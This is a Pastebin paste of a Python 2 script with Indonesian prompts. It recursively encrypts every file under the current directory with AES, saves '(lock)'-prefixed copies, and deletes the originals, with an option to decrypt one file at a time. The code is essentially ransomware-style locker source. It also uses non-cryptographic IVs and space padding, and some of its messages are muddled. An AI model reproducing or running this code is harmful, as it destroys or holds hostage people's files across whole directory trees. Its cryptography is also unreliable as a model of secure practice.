Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from Crypto.Hash import SHA256
- from Crypto.Cipher import AES
- import os, random, sys, pkg_resources
- def encrypt(key, filename):
- chunksize = 64 * 1024
- outFile = os.path.join(os.path.dirname(filename), "(lock)"+os.path.basename(filename))
- filesize = str(os.path.getsize(filename)).zfill(16)
- IV = ''
- for i in range(16):
- IV += chr(random.randint(0, 0xFF))
- encryptor = AES.new(key, AES.MODE_CBC, IV)
- with open(filename, "rb") as infile:
- with open(outFile, "wb") as outfile:
- outfile.write(filesize)
- outfile.write(IV)
- while True:
- chunk = infile.read(chunksize)
- if len(chunk) == 0:
- break
- elif len(chunk) % 16 !=0:
- chunk += ' ' * (16 - (len(chunk) % 16))
- outfile.write(encryptor.encrypt(chunk))
- def decrypt(key, filename):
- outFile = os.path.join(os.path.dirname(filename), os.path.basename(filename[6:]))
- chunksize = 64 * 1024
- with open(filename, "rb") as infile:
- filesize = infile.read(16)
- IV = infile.read(16)
- decryptor = AES.new(key, AES.MODE_CBC, IV)
- with open(outFile, "wb") as outfile:
- while True:
- chunk = infile.read(chunksize)
- if len(chunk) == 0:
- break
- outfile.write(decryptor.decrypt(chunk))
- outfile.truncate(int(filesize))
- def allfiles():
- allFiles = []
- for root, subfiles, files in os.walk(os.getcwd()):
- for names in files:
- allFiles.append(os.path.join(root, names))
- return allFiles
- choice = raw_input("Apakah anda ingin (E)ncrypt atau (D)ecrypt? ")
- password = raw_input("Enter the password: ")
- encFiles = allfiles()
- if choice == "E":
- for Tfiles in encFiles:
- if os.path.basename(Tfiles).startswith("(lock)"):
- print "%s sudah di encrypt" %str(Tfiles)
- pass
- elif Tfiles == os.path.join(os.getcwd(), sys.argv[0]):
- pass
- else:
- encrypt(SHA256.new(password).digest(), str(Tfiles))
- print "Selesai encrypting %s" %str(Tfiles)
- os.remove(Tfiles)
- elif choice == "e":
- for Tfiles in encFiles:
- if os.path.basename(Tfiles).startswith("(lock)"):
- print "%s sudah di encrypt" %str(Tfiles)
- pass
- elif Tfiles == os.path.join(os.getcwd(), sys.argv[0]):
- pass
- else:
- encrypt(SHA256.new(password).digest(), str(Tfiles))
- print "Selesai encrypting %s" %str(Tfiles)
- os.remove(Tfiles)
- elif choice == "D":
- filename = raw_input("Masukan nama file yang ingin di Decrypt ex: (encrypted)debian.phar : ")
- if not os.path.exists(filename):
- print "File tidak ada"
- sys.exit(0)
- elif not filename.startswith("(lock)"):
- print "%s File sudah di encrypted" %filename
- sys.exit()
- else:
- decrypt(SHA256.new(password).digest(), filename)
- print "Selesai decrypting %s" %filename
- os.remove(filename)
- elif choice == "d":
- filename = raw_input("Masukan nama file yang ingin di Decrypt ex: (encrypted)debian.phar : ")
- if not os.path.exists(filename):
- print "File tidak ada"
- sys.exit(0)
- elif not filename.startswith("(lock)"):
- print "%s File sudah di encrypted" %filename
- sys.exit()
- else:
- decrypt(SHA256.new(password).digest(), filename)
- print "Selesai decrypting %s" %filename
- os.remove(filename)
- else:
- print "Masukan pilihan yang benar."
- sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement